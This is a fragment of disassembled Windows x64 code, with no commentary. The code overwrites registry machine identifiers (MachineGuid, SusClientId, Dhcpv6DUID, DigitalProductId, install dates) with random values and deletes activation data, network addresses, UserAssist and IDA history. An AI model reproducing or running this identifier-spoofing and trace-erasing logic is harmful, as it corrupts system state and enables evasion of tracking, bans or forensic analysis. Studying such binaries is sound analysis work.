call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003905
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003905
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x1400038da
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x1400038cc
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x1400038b6
mov dword [rsp + 0x28], ecx
lea rdx, str.RandomSeed
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftCryptography
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003976
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.MachineGuid
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400039de
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.HwProfileGuid
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003a46
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.AccountDomainSid
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003aae
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.PingID
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003b16
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.SusClientId
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003bee
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.SusClientIdValidation
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003be5
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003be5
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x140003bba
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140003bac
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140003b96
mov dword [rsp + 0x28], ecx
lea rdx, str.SusClientIdValidation
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesTcpip6Parameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003cc8
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.Dhcpv6DUID
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003cbf
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003cbf
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x140003c94
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140003c86
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140003c70
mov dword [rsp + 0x28], ecx
lea rdx, str.Dhcpv6DUID
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSystemInformation
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003d30
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.ComputerHardwareId
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140001360
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftInternet_ExplorerMigration
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003e0d
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.IE_Installed_Date
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003e04
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003e04
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x140003dd9
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140003dcb
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140003db5
mov dword [rsp + 0x28], ecx
lea rdx, str.IE_Installed_Date
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftSQMClient
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003e75
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.MachineId
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftSQMClient
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003ef8
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, str.WinSqmFirstSessionStartTime
mov dword [rsp + 0x5c], eax
mov r9d, 0xb
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003f7b
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, str.InstallTime
mov dword [rsp + 0x5c], eax
mov r9d, 0xb
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003ffe
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, str.InstallDate
mov dword [rsp + 0x5c], eax
mov r9d, 0xb
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400040d8
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.DigitalProductId
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400040cf
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400040cf
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x1400040a4
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140004096
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140004080
mov dword [rsp + 0x28], ecx
lea rdx, str.DigitalProductId
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400041b0
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.DigitalProductId4
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400041a7
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1400041a7
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x14000417c
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x14000416e
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140004158
mov dword [rsp + 0x28], ecx
lea rdx, str.DigitalProductId4
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004218
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.BuildGUID
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004280
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.ProductId
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400042e8
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.BuildLab
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004350
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.BuildLabEx
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be103180000
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400043b8
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str._DriverProviderInfo
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be103180000
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004420
mov rbx, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rbx
lea rdx, str.UserModeDriverGUID
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlClass4d36e972_e325_11ce_bfc1_08002be10318
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400045c2
mov rdi, qword [rsp + 0x50]
lea rcx, [rbp + 0x660]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x660]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], r14
mov esi, r14d
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400045b9
nop dword [rax]
lea rdx, str.configuration
lea rcx, [rbp + 0x660]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000457e
lea rdx, str.properties
lea rcx, [rbp + 0x660]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000457e
lea r8, str.NetworkAddress
mov rcx, rdi
lea rdx, [rbp + 0x660]
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x78], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x660]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000457e
mov rbx, qword [rsp + 0x78]
xor eax, eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, str.NetworkInterfaceInstallTimestamp
mov dword [rsp + 0x5c], eax
mov r9d, 0xb
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x660]
inc esi
mov qword [rsp + 0x28], r14
mov edx, esi
mov qword [rsp + 0x20], r14
mov rcx, rdi
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1400044b0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionDiagnosticsDiagTrackSettingsRequests
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionDiagnosticsDiagTrackSevilleEventlogManager
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004659
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, str.LastEventlogWrittenTime
mov dword [rsp + 0x5c], eax
mov r9d, 0xb
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatformActivation
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400046dc
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x28], 8
lea rdx, str.ProductActivationTime
mov dword [rsp + 0x5c], eax
mov r9d, 0xb
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, str.BackupProductKeyDefault
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea r8, str.actionlist
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea r8, str.ServiceSessionId
mov rcx, 0xffffffff80000002
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSoftwareProtectionPlatform
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerUserAssist
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SoftwareHex_RaysIDAHistory
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SoftwareHex_RaysIDAHistory64
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREUEFIESRT
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004a0e
mov r14, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x205f8
call sub.VCRUNTIME140.dll_memset
xor r13d, r13d
lea rcx, [rbp - 0x50]
xor edx, edx
mov r8d, 0x208
mov ebx, r13d
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x50]
mov qword [rsp + 0x28], r13
xor edx, edx
mov rcx, r14
mov qword [rsp + 0x20], r13
mov edi, r13d
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140004a02
nop word [rax + rax]
mov eax, ebx
lea r8, [rbp + 0x10b0]
imul rcx, rax, 0x208
inc ebx
lea rax, [rbp - 0x50]
add r8, rcx
lea rdx, [rbp - 0x50]
sub r8, rax
movzx eax, word [rdx]
mov word [rdx + r8], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140004830
mov qword [rsp + 0x38], r13
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r13
lea r8, [rbp - 0x50]
inc edi
mov qword [rsp + 0x28], r13
mov edx, edi
mov qword [rsp + 0x20], r13
mov rcx, r14
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140004810
test ebx, ebx
je 0x140004a02
lea rsi, [rbp + 0x660]
mov r12d, ebx
lea rax, [rbp + 0x10b0]
sub rsi, rax
lea r15, [rbp + 0x10b0]
nop dword [rax + rax]
xor edx, edx
lea rcx, [rbp + 0x660]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov rcx, r15
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rcx + rsi], ax
lea rcx, [rcx + 2]
test ax, ax
